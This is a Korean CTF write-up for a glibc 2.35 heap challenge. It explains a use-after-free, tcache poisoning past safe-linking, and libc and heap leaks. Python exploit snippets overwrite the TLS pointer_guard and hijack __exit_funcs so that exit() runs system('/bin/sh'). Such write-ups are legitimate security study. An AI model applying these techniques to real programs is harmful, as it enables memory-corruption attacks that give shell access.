[DH] kidheap writeup

Writeup
2025. 7. 27.

Kidheap Writeup

문제 분석

Environment

Ubuntu 22.04
Libc verion: 2.35
NX enabled
Canary found
PIE enabled
CET enabled
FULL RELRO

문제에서는 create, delete, show, edit의 기능이 있으며 uaf가 존재한다. delete 시도시 성공 유무와 관계없이 is_malloc이 토글되기 때문에 2번씩 delete를 호출하면 uaf가 발생한다. 또, oob도 존재한다.

취약점 발견은 매우 쉬우나 풀 옵션이라 exploit하기가 쉽지 않다.

Tools

UAF => AAR / AAW

Tcache의 next값을 uaf로 덮어 쓰면 aar/aaw를 획득할 수 있다.

이때 next = (Heapbase >> 12) ^ target_addr이므로 target_addr = next ^ (Heapbase >> 12)로 계산할 수 있다. Heapbase를 구하는 방법은 Leak 섹션에서 설명한다.

주의할 점은 content는 name과 별개로 malloc 받으므로 create note를 할 때 미리 read한 값을 이용해서 content의 next가 유효한 상태로 만들어야 한다.

def exploit_write(addr, data):
    s = tcache_left.pop(0)
    create_note(0, s, b"0", b"0")
    create_note(1, s, b"1", b"1")
    delete_note(0)
    delete_note(0)
    delete_note(1)
    delete_note(1)
    safe_content = (
        show_note(1).split(b"\n")[1].replace(b"content : ", b"").ljust(8, b"\x00")
    )
    edit_note(1, p64(safelink(addr)), safe_content)
    create_note(0, s, b"0", b"0")
    create_note(1, s, data, b"0")
    print(f"Exploit write: {hex(addr)} = {data.hex()}")

# 생성시 입력이 필요하므로 값을 바꾸지 않을 lastbyte가 필요
def exploit_read(addr, lastbyte=b"\00"):
    s = tcache_left.pop(0)
    create_note(0, s, b"0", b"0")
    create_note(1, s, b"1", b"1")
    delete_note(0)
    delete_note(0)
    delete_note(1)
    delete_note(1)
    safe_content = (
        show_note(1).split(b"\n")[1].replace(b"content : ", b"").ljust(8, b"\x00")
    )
    edit_note(1, p64(safelink(addr)), safe_content)
    create_note(0, s, b"0", b"0")
    create_note(1, s, lastbyte, b"0")
    data = show_note(1).split(b"\n")[0].replace(b"name : ", b"").ljust(8, b"\x00")
    print(f"Exploit read: {hex(addr)} = {data.hex()}")
    return data

Leak

Libc base

oob

oob를 이용해서 idx -4에서 stack을 leak해서 libc의 주소를 얻을 수 있다.

offset =_IO_stdfile_2_lock 을 이용해서 libc의 주소를 구하자.

unsorted bin

unsorted bin을 이용해서도 leak할 수 있다. unstorted bin의 fd는 libc의 주소를 가리키기에 아래처럼 구할 수 있다.

# Get libc leak from unsorted bin
create_note(1, 0x500, b"0", b"0")
create_note(2, 0x500, b"1", b"1")
delete_note(1)
delete_note(1)

leak = u64(
    show_note(1).split(b"\n")[0].replace(b"name : ", b"").ljust(8, b"\x00")
)
print(f"Leaked note: {hex(leak)}")
libc = leak - leak_offset
print(f"Libc base: {hex(libc)}")

Heap base

tachebins

tachebin에서 처음으로 malloc후 free 된 주소는 fd(next)가 null을 가리킨다. 그리고 libc 2.32부터 소개된 safelinking에서 next = (Heapbase >> 12) ^ target_addr로 되어있다. 즉, tcache의 첫 엔트리는 next = (Heapbase >> 12) ^ 0 = Heapbase >> 12이 된다. 이 값은 이후 address를 safelinking할 때 사용한다.

def safelink(addr):
    return addr ^ HB
# HB leak
create_note(0, 0x30, b"0", b"0")
delete_note(0)
delete_note(0)
HB = u64(
    show_note(0).split(b"\n")[0].replace(b"name : ", b"").ljust(8, b"\x00")
)
print(f"Heap base secret: {hex(HB)}")

Stack base

나는 문제 풀이에 활용하지 않았으나 stack base를 leak할 수도 있다.

__environ

libc의 __environ 변수는 stack을 가리킨다. libc base를 leak 했기에 stack까지 접근할 수 있는 것이다.

Exploit

__run_exit_handlers

Reference: glibc source code

exit() 과정은 아래와 같다.

  1. exit(status) 호출
  2. __run_exit_handlers(status, &__exitfuncs) 호출
  3. __call_exitprocs(status, &__exitfuncs) 호출
  4. _fini() 호출
  5. __libc_fini_array() 호출

여기서 35를 후크처럼 사용할 수 있다.

__exitfuncs는 아래와 같은 구조체이다.

struct exit_funtion_list{
    struct exit_funtion_list *next;
    size_t idx;
    struct exit_funtion fns[32];
};

그리고 exit_function은 아래와 같이 정의되어 있다.

struct exit_function {
    long int flavor;
    union {
        void (*at)(void);
        struct {
            void (*fn)(int status, void * arg);
            void *arg;
        } on;
        struct {
            void (*fn)(void * arg, int status);
            void *arg1;
            void *dso_handle;
        } cxa;
    } func;
};

flavor은 함수 유형에 대한 정의인데 우리는 arg를 사용해서 호출할 것이므로 cxa(=4)를 사용한다.

근데 문제가 있다. libc의 중요한 함수들은 PTR_MANGLE을 통해서 mangle되어 있다. 따라서 mangle을 해제해야한다. 그러려면 1. 알려진 주소로 mangle을 역산 2. mangle에 사용하는 값을 오버라이드 중 한 방법으로 mangle을 우회해야 한다.

아쉽게도 1의 경우 ld.so에 있는 함수를 가리키고 있기에 추가 leak가 필요하다. 물론 가능은 하지만 너무 돌아간다. 실제로 __exitfuncs를 디버거로 확인해보면 initial을 가리키고 있는데 initial.exit_funtion[1].func의 값을 PTR_DEMANGLE 해보면 ld.so에 있는 값이라고 나온다.

따라서 2번으로 가자. 그러기 위해 mangling 과정과 TLS를 이해해야 한다.

TLS

TLS는 Thread Local Storage의 약자로, 각 스레드마다 독립적인 데이터를 저장할 수 있는 공간이다. TLS는 스레드가 생성될 때 할당되며, 각 스레드는 자신의 TLS에 접근할 수 있다. TLS는 스레드 간의 데이터 공유를 방지하고, 스레드가 독립적으로 동작할 수 있도록 한다.

TLS는 segment register인 fs를 이용해서 접근한다. 그리고 fs는 현재 쓰레드의 tcbhead_t 구조체를 가리킨다.

struct tcbhead_t {
    void* tcb;  // <--- fs포인터가 가리키는 곳
    dtv_t* dtv;
    void* self
    int multiple_threads; int gscope_flag;
    uintptr_t sysinput;
    uintptr_t stack_guard;  // stack canary 원본
    uintptr_t pointer_guard;  // mangling key!!
    ...
};

main의 tcb는 libc로부터 일정한 offset만큼 떨어져 있다.

PTR_MANGLE

PTR_MANGLE은 TLS의 pointer_guard를 이용해서 주소를 mangling하는 것이다. mangling 과정은 어셈블리로 표현되는데, 아래는 그 pseudo 코드이다.

def PTR_MANGLE(addr):
    return rotate_shift_left(xor(add, pointer_guard), 0x11)

def PTR_MANGLE(addr):
    return xor(rotate_shift_right(add, 0x11), pointer_guard)

여기서 pointer_guard는 TLS의 tcbhead_t 구조체에서 pointer_guard 필드를 의미한다.

Back to __run_exit_handlers...

따라서 tcbhead_t 구조체의 메모리 위치를 찾고 1) pointer_guard 값을 읽거나 2) pointer_guard 값을 0으로 덮어쓰면 된다.

이를 통해서 우리는 __exitfuncs에 넣을 함수를 직접 mangling해서 넣을 수 있다.

최종 payload는 아래와 같다.

initial_func = libc + initial_func_offset
fs = libc + fs_offset
exploit_write(fs + 0x30, p64(0))  # pointer_guard를 0으로 덮어쓰기

payload = p64(0)  # __exit_funcs = &intial func
payload += p64(1)  # idx
payload += p64(4)  # cxa call
payload += p64(mangle(libc + 0x50D70))  # system in libc
payload += p64(initial_func + 0x30)  # args로 '/bin/sh' 전달
payload += p64(0)  # padding
payload += b"/bin/sh\x00"  # initial_func + 0x30에 '/bin/sh' 전달
exploit_write(initial_func, payload)  # write to __exit_funcs

이후 exit()를 호출하면 __run_exit_handlers()가 호출되고, __exit_funcs에 있는 함수가 호출되어 쉘을 획득할 수 있다.

Note: 반대로 pointer_guard를 target주소로 덮어쓰고 func를 null로 설정해도 된다.

FSOP

FSOP(File Stream Oriented Programming)은 파일 스트림을 이용한 공격 기법이다. libc 버전이 높아짐에 따라서 FSOP을 이용한 공격이 어려워졌지만 여전히 유효한 공격 기법이다.

해당 내용은 아직 이해가 부족해 별도의 글을 작성할 예정이다.

Libc GOT overwrite (libc <= 2.35)

For exploit higher than version 2.35, refer to n132's github
more info on libc got overwrite

주어진 file이 FULL RELRO이여서 GOT overwrite가 불가능하다. 그러나 libc의 GOT는 여전히 writable하다.

이 부분 또한 차차 공부하며 추가할 예정이다.

ROP

Stack addr이 있으니 ROP을 이용해서 쉘을 획득할 수 있는 듯 하다. 그러나 CET가 활성화되어 있는 것으로 나와 될지 안 될지는 확신을 못하지만 ROP를 활용한 풀이들이 있는 것을 보아 아마 가능한 듯 하다.

Stack base가 있는 상태에서 ROP는 어렵지 않기에 별도로 설명은 하지 않겠다.

[DH] kidheap writeup